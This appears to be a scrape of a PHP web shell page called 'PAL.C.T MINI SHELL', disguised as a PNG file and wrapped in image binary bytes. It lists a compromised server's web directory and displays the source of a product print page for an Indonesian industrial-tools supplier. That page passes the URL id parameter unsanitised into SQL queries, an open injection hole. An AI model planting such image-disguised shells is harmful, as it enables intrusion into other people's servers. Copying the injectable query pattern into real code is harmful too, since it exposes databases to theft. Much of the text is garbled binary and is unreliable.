php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/rainbow/
upload
files >> /var/www/html/rainbow/print.php

<?php 
 
include "../config/koneksi.php";
  include "../config/fungsi_rupiah.php";
  include "config/subdomain.php";
  include "../config/fungsi_seo.php";

$description = "

FATOOLS INDONESIA proudly pronounced our company as one of the greatest supply companies in delivering best quality industrial equipments to various industries. As a supplier, we are committed to provide the best quality of goods with affordable price that is requested by our clients.<br>

FATOOLS INDONESIA supplies industrial equipment, such as hand tools, hydraulic equipment, air tools, power tools, safety equipment etc.
";

?>
<!DOCTYPE html>
<html>
  <head>
    <title><?php echo $title; ?></title>
    <!--meta-->
    <meta charset="UTF-8" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="author" content="Cakra Danu Sedayu">


    <!--style-->
    <!-- Bootstrap core CSS -->
      <link href="<?php echo $base_url; ?>asset/css/bootstrap.css" rel="stylesheet">
    <!--<link href="asset/css/flat-btn.css" rel="stylesheet"> -->
      <link href="css/style.css" rel="stylesheet">

    
<style type="text/css">
 @media print
            {
              .col-md-5{
                width: 50%;
              }
            }

</style>

  </head>
<body style='background:none !important;' Onload='window.print();'>
<header style="padding:10px; border-bottom: 5px solid #68B6E6;">
<div class='container'>
  <img src="<?php echo $foto_brand; ?>" style='max-height:150px;'>
</div>
</header>
<div class='container main-page'> 
  <div class='col-md-12'>
    <br>
<?php
    
  //  id  kategori  nama_tool   kode_tool   detail  cap   harga   foto1   foto2
  $brand = mysql_query("SELECT * FROM rainbow WHERE id = '$_GET[id]'");

  $rss = mysql_fetch_array($brand);
      $id_produk    = $rss[id]; 
      $nama_produk  = $rss[nama_produk];
      $harga      = $rss[harga];
      $foto1      = $rss[foto1];
      $foto2      = $rss[foto2];
      $kode       = $rss[kode];
      $produk_seo   = seo_title($rw['nama_produk']);
      $url      = "produk-$_GET[id]-$produk_seo.html";
      
    ?>

      <div >
        <b><?php echo $nama_produk." - ".$kode; ?></b>
        <hr>
      </div>

      <div class="row">
        <div class='col-md-6 col-sm-6' >
          <center>
          <?php
          if(file_exists("images/$rss[id].JPG"))
          { 
            ?>
            <img src="images/<?php  echo $rss[id].".JPG"; ?>" class='col-xs-12 col-md-12' alt="<?php echo $produk_seo; ?>">           
            <?php
          }
          elseif(file_exists("images/$rss[id].jpg"))
          { 
            ?>
            <img src="images/<?php  echo $rss[id].".jpg"; ?>" class='col-xs-12 col-md-12' alt="<?php echo $produk_seo; ?>">           
            <?php
          }

          else
          {
            echo "No Photo";
          }
          ?>            
          </center>
        </div>  
        <?php
          //$harga_tampil1  = tampil_list1($harga, $diskon, $promo);
                  //$harga_tampil2  = tampil_list2($harga, $diskon, $promo);
        ?>
        <div class='col-md-6 col-sm-6'>
          
          <!-- Paket share, email. print, pdf -->

          <table class="table table-striped">
            <thead>
            <tr>
              <th>Kode Produk</th>
              <th>Harga</th>
              
            </tr>
            </thead>
            <tbody>
          <?php
            $brand = mysql_query("SELECT * FROM rainbow WHERE id = '$_GET[id]'");
            while ($rx = mysql_fetch_array($brand)) {
            
            


            ?>
            <tr>
              <td><?php echo $rx[kode]; ?></td>
              <td><?php echo format_rupiah($rx[harga]); ?></td>
              
            </tr>
            <?php
            }
          ?>
          </tbody>
          </table>
        </div>
      </div>

          <br><br>
 
          <?php
              if(file_exists("images/a$rss[id].JPG"))
              { echo "<h4>Detail Produk :</h4>";
                ?>
                <img src="images/a<?php  echo $rss[id].".JPG"; ?>" class='col-xs-12 col-md-5' alt="<?php echo $produk_seo; ?>">           
                <?php
              }
              elseif(file_exists("images/a$rss[id].jpg"))
              { echo "<h4>Detail Produk :</h4>";
                ?>
                <img src="images/a<?php  echo $rss[id].".jpg"; ?>" class='col-xs-12 col-md-5' alt="<?php echo $produk_seo; ?>">           
                <?php
              }
              else
              {
                echo "Tidak Ada Deskripsi";
              }
          ?>

      <br><br><br>




  </div>
</div>
<br><br>
</body>
</html>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`